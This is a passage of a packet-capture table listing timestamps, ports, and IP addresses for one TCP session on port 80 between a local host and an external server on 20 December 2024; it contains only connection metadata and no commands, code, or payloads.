Dec 20, 2024 17:29:41.560699940 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.560713053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.560765028 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.561492920 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.561621904 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.561748028 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.562504053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.562516928 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.562587976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.563355923 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.563690901 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.563762903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.564167023 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.564179897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.564229012 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.564954042 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.565145016 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.565184116 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.565859079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.565875053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.565937996 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.567256927 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.567655087 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.567708969 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.567749977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.567931890 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.568021059 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.568480015 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.568526983 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.568713903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.569269896 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.569617033 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.569766045 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.570059061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.570417881 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.570919037 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.570971966 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.571355104 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.571806908 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.571856022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.572114944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.572187901 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.572637081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.572731018 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.572789907 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.573498011 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.573604107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.574517965 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.574635983 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.574664116 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.575206041 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.575277090 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.575278997 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.576073885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.576149940 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.576211929 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.576590061 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.576939106 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.577379942 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.577780008 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.577843904 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.577933073 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.577980995 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.578716993 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.578919888 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.579564095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.579673052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.580141068 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.580394030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.580406904 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.580491066 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.581276894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.581393003 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.581454039 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.582114935 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.582237959 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.582478046 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.582978010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.583655119 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.583834887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.583846092 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.583894968 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.583959103 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.584642887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.584981918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.585105896 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.585531950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.585674047 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.585750103 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.586546898 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.586679935 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.586760044 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.587243080 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.587412119 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.587493896 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.588099003 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.588211060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.588366032 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.588888884 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.612622023 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.612863064 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.612952948 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.612967968 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.613049984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.613132000 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.613135099 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.613310099 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.613939047 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.614290953 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.614711046 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.614757061 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.668535948 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.739027977 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.739164114 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.739351034 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.739418030 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.739499092 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.740268946 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.740376949 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.740708113 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.741086960 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.741137028 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.741460085 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.741560936 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.741569996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.742240906 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.742306948 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.742445946 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.743096113 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.743490934 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.743542910 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.744018078 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.744035006 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.744077921 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.744817972 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.744890928 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.745755911 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.745767117 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.745821953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.745857954 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.746814013 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.746849060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.746954918 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.747467995 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.747536898 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.747793913 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.748276949 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.748419046 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.748481035 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.749166965 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.749180079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.749248981 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.749967098 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.750083923 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.750147104 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.750838041 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.750886917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.750961065 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.751677036 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.751776934 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.752116919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.752573967 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.752690077 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.752778053 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.753390074 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.753478050 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.753524065 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.754259109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.754318953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.754409075 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.755218029 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.755301952 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.755935907 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.756047010 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.756059885 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.756179094 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.756824970 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.756953001 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.757703066 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.757714987 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.757795095 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.757858992 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.758527040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.758706093 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.758848906 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.759423971 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.759814978 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.760142088 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.760279894 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.760293007 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.760545969 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.761138916 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.761223078 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.761535883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.761981964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.762130976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.762162924 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.762867928 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.762957096 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.762983084 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.763730049 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.763884068 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.764158964 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.764583111 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.764709949 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.764714003 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.765469074 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.765480042 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.765561104 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.766288996 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.766432047 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.766510963 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.767148018 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.767425060 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.767518044 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.767997026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.768064976 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.768070936 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.768902063 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.769076109 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.769171953 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.769785881 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.769798040 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.769898891 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.770642042 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.770725965 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.770726919 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.771517992 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.771639109 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.771786928 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.772365093 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.772499084 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.772561073 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.773228884 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.773466110 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.773550034 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.774127960 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.774190903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.774791956 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.774918079 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.774930954 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.775103092 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.775873899 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.775938034 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.776099920 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.776936054 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.777055025 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.777133942 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.777518034 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.777539968 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.777827024 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.778290033 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.778352022 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.778548002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.779170990 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.779223919 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.779320002 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.779995918 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.780152082 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.780224085 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.780860901 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.780936956 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.804778099 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.804822922 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.804897070 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.805087090 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.805284023 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.805326939 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.805397987 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.806103945 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.806186914 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.806248903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.806929111 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.807024002 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.931399107 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.931638002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.931664944 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.931674957 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.931737900 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.932579994 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.932921886 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.933334112 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.933399916 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.933635950 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.933725119 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.934144974 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.934516907 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.934642076 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.934678078 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.935370922 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.935383081 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.935734034 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.936184883 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.936276913 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.936605930 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.937047958 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.937062025 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.937151909 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.937917948 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.937933922 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.938069105 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.938741922 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.939621925 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.939634085 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.939714909 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.939805031 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.940444946 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.940496922 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.941339970 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.941351891 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.941452026 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.941570997 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.942188025 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.942266941 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.942437887 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.943084002 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.943613052 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.943907976 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.943919897 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.944017887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.944019079 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.944725990 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.944807053 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.944910049 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.945614100 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.945678949 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.945755959 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.946497917 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.946511984 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.946662903 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.947329998 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.948157072 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.948214054 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.948225975 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.948404074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.948404074 CET	49719	80	192.168.2.9	185.215.113.16
Dec 20, 2024 17:29:41.949081898 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.949143887 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.949925900 CET	80	49719	185.215.113.16	192.168.2.9
Dec 20, 2024 17:29:41.949989080 CET	49719	80	192.168.2.9	185.215.113.16
